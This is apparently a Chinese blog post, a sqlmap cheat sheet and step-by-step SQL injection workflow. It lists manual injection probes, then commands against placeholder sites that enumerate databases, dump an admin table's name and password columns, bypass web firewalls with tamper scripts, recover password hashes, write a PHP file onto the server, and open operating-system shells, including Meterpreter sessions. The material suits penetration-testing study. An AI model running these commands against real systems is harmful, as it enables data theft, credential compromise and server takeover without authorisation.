sqlmap实战

sqlmap支持五种不同的注入模式:

基于布尔的盲注:可以根据返回页面判断条件真假的注入;
基于时间的盲注:用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断;
基于报错的注入:页面会返回错误信息,或者把注入的语句的结果直接返回在页面中;
联合查询的注入:可以使用union的情况下的注入;
堆叠查询的注入:可以同时执行多条语句的执行时的注入

常用sqlmap参数:

-D 数据库名    -T 数据库表名     -C 数据库列名     -U 数据库用户名
-D 数据库名 --tables    #获取D数据库中所有的表名
-D 数据库名 -T 表名 --columns    #获取D数据库中T表里所有的列名
-T 表名 -C username,password --dump   #下载T表里username,password列的数据内容

-u   #-u=--url=URL ,指定url地址,get请求可以在url加上相关参数
-r   #指定加载文件 ,适用于所有的请求和https。 流程是抓包、保存到文件、从文件加载HTTP请求;方便跳过设置一些其他参数(cookie,POST等)
-p   #指定用url或文件中的哪个参数做注入参数
-m   #读取文件中的url列表以批量测试
--date    #post方式传入参数 --date "id=1&co=5"
--dbs     #显示所有的数据库
--current-user #获取当前数据库用户
--current-db   #获取网站当前数据库
--is-dba  #判断当前的用户是否为管理员
--users   #获取所有数据库用户
--level   #测试的等级(1-5,默1),数值>=2的时候也会检查cookie里面的参数,当>=3的时候将检查User-agent和Referer。
--risk    #测试的风险(0-3,默1),1会测试大部分的测试语句,2会增加基于事件的测试语句,3会增加OR语句的SQL注入测试。
--threads #同时执行测试的线程数
--mobile  #模拟测试手机环境站点
--batch -smart  #不需要人确定,自动填写yes
--batch -smart  #全自动化判断测试,不需要人确定
--os-shell   #获取系统交互的shell
--tamper "  "    #sqlmap绕过waf,需要加载绕过方式脚本,可多个
--passwords  #尝试解码出hash密码原文
-v   #输出信息级别: 0-6 ,
     “0”只显示python错误以及严重的信息;
     1同时显示基本信息和警告信息(默认);
     “2”同时显示debug信息;
     “3”同时显示注入的payload;
     “4”同时显示HTTP请求;
     “5”同时显示HTTP响应头;
     “6”同时显示HTTP响应页面;
     如果想看到sqlmap发送的测试payload最好的等级就是3。

--file-read  #读取服务器上指定文件内容 --file-read "C:/example.exe"
--file-write #上传本地文件 --file-write "c:/1.txt" --file-dest "C:/php/sql.php"
--file-dest  #上传到服务器指定目录

一般的SQLMap操作流程:

# 1.通过手工检测的方式,找到合适的注入点
payload:'         #返回错误
payload:and 1=1   #返回正常
payload:and 1=2   #返回错误
##满足以上条件即存在注入

# 2.检查注入点:
sqlmap -u "http://xx.com/" --data "word=1&number=5" --batch --level3

# 3.爆所有数据库信息:
sqlmap -u "http://xx.com/" --data "word=1&number=5" --batch --dbs 

# 4.爆当前数据库信息,爆当前用户权限。
sqlmap -u "http://xx.com/" --data "word=1&number=5" --batch --current-db --is-dba

# 5.指定库名列出所有表:
sqlmap -u "http://xx.com/" --data "word=1&number=5" --batch -D news --tables 

# 6.指定库名表名列出所有字段:
sqlmap -u "http://xx.com/" --data "word=1&number=5" --batch -D news -T admin --column 

# 7.指定库名表名字段dump出指定字段:
sqlmap -u "http://xx.com/" --data "word=1&number=5" --batch -D news -T admin -C name,pswd --dump 

# 8.加载脚本绕过防火墙
sqlmap -u "http://xx.com/" --data "word=1&number=5" --tamper randomcase.py

# 9.爆当前的用户名称
sqlmap -u "http://xx.com/" --data "word=1&number=5" --current-user

# 10.爆当前用户密码
sqlmap -u "http://xx.com/" --data "word=1&number=5" --passwods

# 11.连接系统交互shell
sqlmap -u "http://xx.com/" --data "word=1&number=5" --os-shell

常用语句:

# 基础检测语法
sqlmap.py -u http://127.0.0.1/user_info.php?uid=1024

# 批量检测
sqlmap.py -m target.txt
## 注意target.txt跟sqlmap在同一个目录下。

# 获取表中的数据个数
sqlmap.py -u "http://www.potian.com/sqlmap/mssql/iis/get_int.asp?id=1" --count -D testdb

# 站点爬取
sqlmap.py -u "http://www.secbang.com" --batch --crawl=3

# 使用hex避免字符编码导致数据丢失
sqlmap.py -u "http://www.secbang.com/pgsql/get_int.php?id=1" --banner --hex -v 3 --parse-errors

# 模拟测试手机环境站点
python sqlmap.py -u "http://www.secbang.com/vuln.php?id=1" --mobile

# 智能判断测试
sqlmap.py -u "http://www.secbang.com/info.php?id=1" --batch --smart

# 结合burpsuite进行注入
sqlmap.py -r burpsuite 抓包.txt

# sqlmap 自动填写表单注入
sqlmap.py -u URL --forms

# 执行shell命令
sqlmap.py -u "url" --os-cmd="ls" #执行net user命令
sqlmap.py -u "url" --os-shell    #系统交互的shell

# 延时注入
sqlmap --dbs -u "url" --delay 0.5 #延时0.5秒*/ 
sqlmap --dbs -u "url" --safe-freq #请求2次*/

实用技巧:

--technique=TECH    SQL注入技术测试(默认BEUST)    
--time-sec=TIMESEC  DBMS响应的延迟时间(默认为5秒)   
--union-cols=UCOLS  定列范围用于测试UNION查询注入   
--union-char=UCHAR  暴力猜测列的字符数   
--union-from=UFROM  SQL注入UNION查询使用的格式  
--dns-domain=DNS..  DNS泄露攻击使用的域名   
--second-order=S..  URL搜索产生的结果页面

枚举信息:

-a, –all           获取所有信息   
-b, –banner        获取数据库管理系统的标识  
--current-user      获取数据库管理系统当前用户   
--current-db        获取数据库管理系统当前数据库   
--hostname         获取数据库服务器的主机名称  
--is-dba            检测DBMS当前用户是否DBA  
--users             枚举数据库管理系统用户  
--passwords         枚举数据库管理系统用户密码哈希   
--privileges        枚举数据库管理系统用户的权限   
--roles            枚举数据库管理系统用户的角色   
--dbs             枚举数据库管理系统数据库  
--tables            枚举的DBMS数据库中的表   
--columns          枚举DBMS数据库表列   
--schema            枚举数据库架构  
--count             检索表的项目数,有时候用户只想获取表中的数据个数而不是具体的内容,那么就可以使用这个参数:sqlmap.py -u url –count -D testdb  
--dump            转储数据库表项  
--dump-all          转储数据库所有表项  
--search           搜索列(S),表(S)和/或数据库名称(S)  
--comments          获取DBMS注释  
-D DB               要进行枚举的指定数据库名  
-T TBL              DBMS数据库表枚举  
-C COL             DBMS数据库表列枚举  
-X EXCLUDECOL     DBMS数据库表不进行枚举  
-U USER           用来进行枚举的数据库用户  
--exclude-sysdbs    枚举表时排除系统数据库   
--start=LIMITSTART  获取第一个查询输出数据位置  
--stop=LIMITSTOP   获取最后查询的输出数据  
--first=FIRSTCHAR   第一个查询输出字的字符获取  
--last=LASTCHAR    最后查询的输出字字符获取  
--sql-query=QUERY   要执行的SQL语句  
--sql-shell         提示交互式SQL的shell  
--sql-file=SQLFILE  要执行的SQL文件  

操作系统访问:

--os-cmd=OSCMD   执行操作系统命令(OSCMD)   
--os-shell       交互式的操作系统的shell   
--os-pwn          获取一个OOB shell,meterpreter或VNC   
--os-smbrelay       一键获取一个OOBshell,meterpreter或VNC  
--os-bof           存储过程缓冲区溢出利用  
--priv-esc          数据库进程用户权限提升  
--msf-path=MSFPATH  MetasploitFramework本地的安装路径  
--tmp-path=TMPPATH  远程临时文件目录的绝对路径  

Windows注册表访问:

--reg-read          读一个Windows注册表项值  
--reg-add           写一个Windows注册表项值数据  
--reg-del           删除Windows注册表键值  
--reg-key=REGKEY    Windows注册表键  
--reg-value=REGVAL  Windows注册表项值  
--reg-data=REGDATA  Windows注册表键值数据  
--reg-type=REGTYPE  Windows注册表项值类型  

优化功能:

-o               打开所有的优化开关    
--predict-output    预测普通查询输出    
--keep-alive        使用持久HTTP(S)连接    
--null-connection   获取页面长度    
--threads=THREADS   当前http(s)最大请求数 (默认 1)  

指定注入:

-p TESTPARAMETER    可测试的参数    
--skip=SKIP         跳过对给定参数的测试    
--skip-static       跳过测试不显示为动态的参数    
--param-exclude=..  使用正则表达式排除参数进行测试(e.g. “ses”)   
--dbms=DBMS         强制后端的DBMS为此值    
--dbms-cred=DBMS..  DBMS认证凭证(user:password)    
--os=OS            强制后端的DBMS操作系统为这个值    
--invalid-bignum    使用大数字使值无效    
--invalid-logical   使用逻辑操作使值无效   
--invalid-string    使用随机字符串使值无效    
--no-cast          关闭有效载荷铸造机制    
--no-escape         关闭字符串逃逸机制    
--prefix=PREFIX     注入payload字符串前缀  
--suffix=SUFFIX     注入payload字符串后缀    
--tamper=TAMPER   使用给定的脚本篡改注入数据

 

posted @ 2023-04-12 22:23  hello_bao  阅读(252)  评论(0编辑  收藏  举报